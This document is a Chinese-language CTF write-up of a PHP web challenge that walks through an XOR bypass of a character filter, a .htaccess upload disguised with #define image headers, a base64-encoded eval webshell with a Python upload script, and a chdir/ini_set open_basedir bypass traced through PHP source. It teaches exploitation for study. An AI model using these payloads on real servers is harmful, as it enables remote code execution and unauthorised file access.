异或绕过以及文件上传之.htaccess文件以及open_basedir绕过

异或绕过以及文件上传之.htaccess文件以及open_basedir绕过

打开页面,发现是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

通过审计源码,我们可以看见一个正则过滤

1
preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh)

可见它过滤了数字和字母,以及一些符号,所以此时我们可以尝试着使用取反绕过或异或绕过,但是由于这里有长度绕过

1
if(strlen($character_type)>12)

所以最后决定采用异或绕过,因此我们可以写一个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

function finds($string){
$index=0;
$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
for($i=27;$i<count($a);$i++){
for($j=27;$j<count($a);$j++){
$x = $a[$i] ^ $a[$j];
for($k=0;$k<strlen($string);$k++){
if(ord($string[$k])==$x){
echo $string[$k]."\n";
echo "%".dechex($a[$i])."^%".dechex($a[$j])."\n";
$index++;
if($index==strlen($string)){
return 0;
}


}
}
}
}
}

finds("_GET");
?>

即可得到

1
2
3
4
5
6
7
8
G
%86^%c1
E
%86^%c3
T
%86^%d2
_
%86^%d9

[异或或取反绕过][https://www.cnblogs.com/cimuhuashuimu/p/11546422.html]

因此,可以构造payload

1
?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo

然后可以看到php版本得信息,从disable_function中,我们可以看见很多函数被过滤掉了,所以我们可以尝试源码中得get_the_flag()函数,而从get_the_flag()函数中,我们可以知道我们需要上传文件,但是在源码中,我们可以看见

1
if(preg_match("/ph/i",$extension)) die("^_^");

这个if将文件后缀为php、phtml等文件都过滤掉了,而这个if

1
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False)

将文件内容有<?的文件给过滤掉了,而这个if

1
if(!exif_imagetype($tmp_name))

会检查文件头且限定只能上传image

而由于这里的php版本太高,所以不可以使用

1
<script language="php"></script>

html的格式,所以我们可以利用.user.ini文件或.htaccess文件,

htaccess文件

htacess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置

利用方法一

1
2
3
4
5
<FilesMatch "test">

SetHandler application/x-httpd-php

</FilesMatch>

通过它调用php解析器去解析文件名,只要文件名中包含”test”这个字符串的任意文件,无论扩展名是什么,都会以php的方式来解析

利用方法二

1
AddType  application/x-httpd-php    .png

让.png文件解析为php文件

.user.ini文件

对于.user.ini文件来说,只要是以fastcgi运行的php都可以用这个方法

利用方法

1
2
GIF89a
auto_prepend_file=1.jpg

所有的php文件执行前都会将1.jpg文件当作是php类型文件先包含执行一遍,这里的GIF89a是文件幻术头进行绕过

[.htaccess文件以及.user.ini文件][https://blog.csdn.net/since_2020/article/details/113781120?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link]

回到题目本身,由于.user.ini是适用于nginx的,而.htaccess文件是适用于apache服务器,所以看php版本的信息后,我们可以知道这是apache服务器,所以使用.htaccess文件,我们可以将上传文件中的一句话用base64加密,然后在.htaccess中利用php伪协议进行解码,但是如果用GIF89a文件头来绕过文件头检测的话,.htaccess文件会无效,所以我们可以使用

1
2
#define width 1337
#define height 1337

由于#在.htaccess文件中是注释符的作用,因此可以绕过文件头检测,所以我们可以上传.htaccess文件

1
2
3
4
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"

然后上传shell.ahhh文件

1
2
GIF89a12		#12是为了补足8个字节,满足base64编码的规则
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==

然后构造上传的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import base64

htaccess=b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
"""
shell=b"GIF89a"+base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")

url="http://fe2f819b-9807-4f4b-af87-a202256b7849.node4.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"

files={'file':('.htaccess',htaccess,'image/jpeg')}

data={"upload":"Submit"}
response=requests.post(url=url,data=data,files=files)
print(response.text)

files={'file':('shell.ahhh',shell,'image/jpeg')}
response=requests.post(url=url,data=data,files=files)
print(response.text)

得到路径

1
2
upload/tmp_93df0602d768e80cec04f22bc0fb368d/.htaccess
upload/tmp_93df0602d768e80cec04f22bc0fb368d/shell.ahhh

然后访问shell.ahhh,发现可以访问

方法一
直接用蚁剑连接即可登录后台并得到flag

方法二

我们从disable_function中可以知道没有封禁的函数有echo、file_get_contents()、var_dump()和scandir()等,所以我们可以构造

1
?cmd=var_dump(scandir("/"));

来读取目录下的文件,但发现不行,因为在php版本中的open_basedir不可以访问/etc目录,所以我们需要bypass open_basedir

bypass open_basedir

ini_set覆盖问题

exp

1
2
3
4
5
6
7
8
<?php
var_dump(ini_get('open_basedir'));
ini_set('open_basedir', '/tmp');
var_dump(ini_get('open_basedir'));
ini_set('open_basedir', '/');
var_dump(ini_get('open_basedir'));
ini_set('open_basedir', '..');
var_dump(ini_get('open_basedir'));

运行后的结果

1
2
3
4
string(0) ""
string(4) "/tmp"
string(4) "/tmp"
string(4) "/tmp"

可以看见open_basedir默认的值是空的,当第一次设置为/tmp后,后面无论怎么设置,都不会对第一次设置的open_basedir的值进行覆盖

原因

找到php函数对应的底层函数

1
2
ini_get:PHP_FUNCTION(ini_get)
ini_set:PHP_FUNCTION(ini_set)

这里主要看ini_set的流程,因为ini_set是为一个配置选项设置值的,而ini_get是作为信息输出函数

我们先对ini_set下断点,然后运行

1
2
b /php7.0-src/ext/standard/basic_functions.c 5350
r c.php

发现有三个初始值

1
2
3
zend_string *varname;
zend_string *new_value;
char *old_value;

然后会对我们输入的varname和new_value两个值进行处理,会得到
varname.val

1
2
3
4
pwndbg> p &varname.val
$46 = (char (*)[1]) 0x7ffff7064978
pwndbg> x/s $46
0x7ffff7064978:"open_basedir"

new_value.val

1
2
3
4
pwndbg> p &new_value.val
$48 = (char (*)[1]) 0x7ffff7058ad8
pwndbg> x/s $48
0x7ffff7058ad8:"/tmp"

上面都是zend_string的结构体,是php7的新增结构,然后程序会拿到原来的open_basedir的值化为zend_string结构

1
2
3
4
pwndbg> p &old_value.val
$48 = (char (*)[1]) 0x8fca0d
pwndbg> x/s $48
0x8fca0d:"/tmp"

然后会进入php_ini_check_path

1
2
if(PG(open_basedir)){
if(_CHECK_PATH(ZSTR_VAL(varname),ZSTR_LEN(varname),"error_log") || _CHECK_PATH(ZSTR_VAL(varname),ZSTR_LEN(varname),"java.class.path") || _CHECK_PATH(ZSTR_VAL(varname),ZSTR_LEN(varname),"java.home") || _CHECK_PATH(ZSTR_VAL(varname),ZSTR_LEN(varname),"mail.log") || _CHECK_PATH(ZSTR_VAL(varname),ZSTR_LEN(varname),"java.library.path)||

由于open_basedir默认为空,所以会跳出判断,进入到下一步

1
2
3
4
if (zend_alter_ini_entry_ex(varname, new_value, PHP_INI_USER, PHP_INI_STAGE_RUNTIME, 0) == FAILURE) {
zval_dtor(return_value);
RETURN_FALSE;
}

看见这个if,我们可以看看一下FAILURE的定义

1
2
3
4
typedef enum {
SUCCESS = 0,
FAILURE = -1,/* this MUST stay a negative number, or it may affect functions! */
} ZEND_RESULT_CODE;

发现当zend_alter_ini_entry_ex的返回值不为-1时,则代表成功,否则进入if,返回false,而经过比对,我们可以知道当第一次设置open_basedir和第二次设置open_basedir值时,这里返回的值是不一样的,第一次设置时,这里为SUCCESS,即为0,第二次设置为FAILURE,即为-1,所以我们可以看zend_alter_ini_entry_ex进行比对

1
b /php7.0-src/Zend/zend_ini.c:330

发现两次不同点在于以下判断

第一次

1
if (!ini_entry->on_modify|| ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) == SUCCESS)

第二次

1
ini_entry->on_modify :0x5d046e <OnUpdateBaseDir>ini_entry->on_modify(ini_entry, duplicate, ini_entry->mh_arg1, ini_entry->mh_arg2, ini_entry->mh_arg3, stage) = -1

发现里面有个on_modify(有关修改),所以我们可以单步跟进

1
PHPAPI ZEND_INI_MH(OnUpdateBaseDir)

发现是因为进行了以下操作才会在第二次时返回FAILURE

1
2
3
4
if (php_check_open_basedir_ex(ptr, 0) != 0) {
/* At least one portion of this open_basedir is less restrictive than the prior one, FAIL */efree(pathbuf);
return FAILURE;
}

正是因为php_check_open_basedir_ex()没有通过才导致ini_set失败,但是在第一次是通过的,所以如果想要利用ini_set覆盖之前的open_basedir,就要通过这个校验

所以我们要分析php_check_open_basedir_ex,来bypass php_check_open_basedir_ex

php_check_open_basedir_ex的源码

1
2
3
4
5
6
7
if (strlen(path) > (MAXPATHLEN - 1)) {
php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);
errno = EINVAL;
return -1;
}
#define MAXPATHLEN PATH_MAX
#define PATH_MAX 1024 /* max bytes in pathname */

首先判断路径是否超过1023,然后就是另一个校验函数

1
2
3
4
if (php_check_specific_open_basedir(ptr, path) == 0) {
efree(pathbuf);
return 0;
}

分析php_check_specific_open_basedir函数

1
2
3
4
if (strcmp(basedir, ".") || !VCWD_GETCWD(local_open_basedir, MAXPATHLEN)) {
/* Else use the unmodified path */
strlcpy(local_open_basedir, basedir, sizeof(local_open_basedir));
}

它首先比对了当前目录并赋值给local_open_basedir

1
2
3
4
5
path_len = strlen(path);
if (path_len > (MAXPATHLEN - 1)) {
/* empty and too long paths are invalid */
return -1;
}

然后看目录名长度是否合法

1
2
3
if (expand_filepath(path, resolved_name) == NULL) {
return -1;
}
1
2
3
PHPAPI char *expand_filepath(const char *filepath, char *real_path){
return expand_filepath_ex(filepath, real_path, NULL, 0);
}

然后将传入的path,用绝对路径保存在resolved_name中

然后继续判断

1
if (expand_filepath(local_open_basedir, resolved_basedir) != NULL)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if (strncmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0) 
{
if (resolved_name_len > resolved_basedir_len && resolved_name[resolved_basedir_len - 1] != PHP_DIR_SEPARATOR) {return -1;}
else {
/* File is in the right directory */
return 0;
}
}
else {
/* /openbasedir/ and /openbasedir are the same directory */
if (resolved_basedir_len == (resolved_name_len + 1) && resolved_basedir[resolved_basedir_len - 1] == PHP_DIR_SEPARATOR)
{
if (strncasecmp(resolved_basedir, resolved_name, resolved_name_len) == 0)
{
if (strncmp(resolved_basedir, resolved_name, resolved_name_len) == 0)
{
return 0;
}
}
return -1;
}
}

将local_open_basedir的值存放在resolved_basedir中,用于后面比较

而上面的操作正是匹配路径是否是open_basedir规定路径

所以我们可以关注可控点expand_filepath()函数,我们可以分析expand_filepath()函数

1
2
3
PHPAPI char *expand_filepath(const char *filepath, char *real_path){
return expand_filepath_ex(filepath, real_path, NULL, 0);
}

再分析expand_filepath_ex()函数

1
2
3
if (virtual_file_ex(&new_state, filepath, NULL, realpath_mode)) {efree(new_state.cwd);
return NULL;
}

然后再分析virtual_file_ex()函数

1
2
3
4
5
6
7
8
9
10
11
if (!IS_ABSOLUTE_PATH(path, path_length)) {
if (state->cwd_length == 0) {
/* resolve relative path */
start = 0;
memcpy(resolved_path , path, path_length + 1);
} else {
int state_cwd_length = state->cwd_length;
......
state->cwd_length = path_length;
......
memcpy(state->cwd, resolved_path, state->cwd_length+1);

上述代码的意思是目录拼接操作,如果path不是绝对路径,同时state->cwd长度为0,就会直接将path作为绝对路径保存在resolved_path中,否则在state->cmd后拼接

因此,我们最后落点在path_length,决定拼接的长度

1
path_length = tsrm_realpath_r(resolved_path, start, path_length, &ll, &t, use_realpath, 0, NULL);

跟进tsrm_realpath_r,发现path_length操作在

1
2
remove double slashes and '.'
remove '..' and previous directory

所以expand_filepath()函数主要关注相对路径和绝对路径,但是没有关注相对路径的实时变化

整体思路

但open_basedir第一次设置后,再次设置是不被允许的,但是由于没有考虑open_basedir为相对路径的实时变化,所以当当前目录是相对路径,而不是绝对路径时,就会触发expand_filekpath()函数漏洞,会将当前目录,即相对路径,存储到resolve_path中,从而绕过检验php_check_open_basedir_ex函数的检验,从而可以更改open_basedir的值,当我们ini.set(‘open_basedir’,’…’)时,只要我们跳转一次,open_basedir的目录也会跳转一次,并将当前的目录存储在resolve_path中,从而可以让我们绕过open_basedir的限制,可以访问根目录

回到题目本身,我们可以先跳转到open_basedir中的目录

1
chdir('/tmp')

然后在open_basedir目录下建立新目录,然后跳转到新目录下,此时为相对路径,所以我们可以重置open_basedir,即

1
ini_set('open_basedir','..')

然后一直是使用

1
chdir('..')

跳转,此时open_basedir也一直跳转,最后跳转到根目录后,重置open_basedir

1
ini_set('open_basedir','\')

即可读取根目录下的文件,因此构造payload

1
2
?cmd=chdir('img');mkdir('shiwang');chdir('shiwang');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));

参考文章:[https://blog.51cto.com/u_15127538/2702757]

 [https://blog.csdn.net/qq_42967398/article/details/105615235]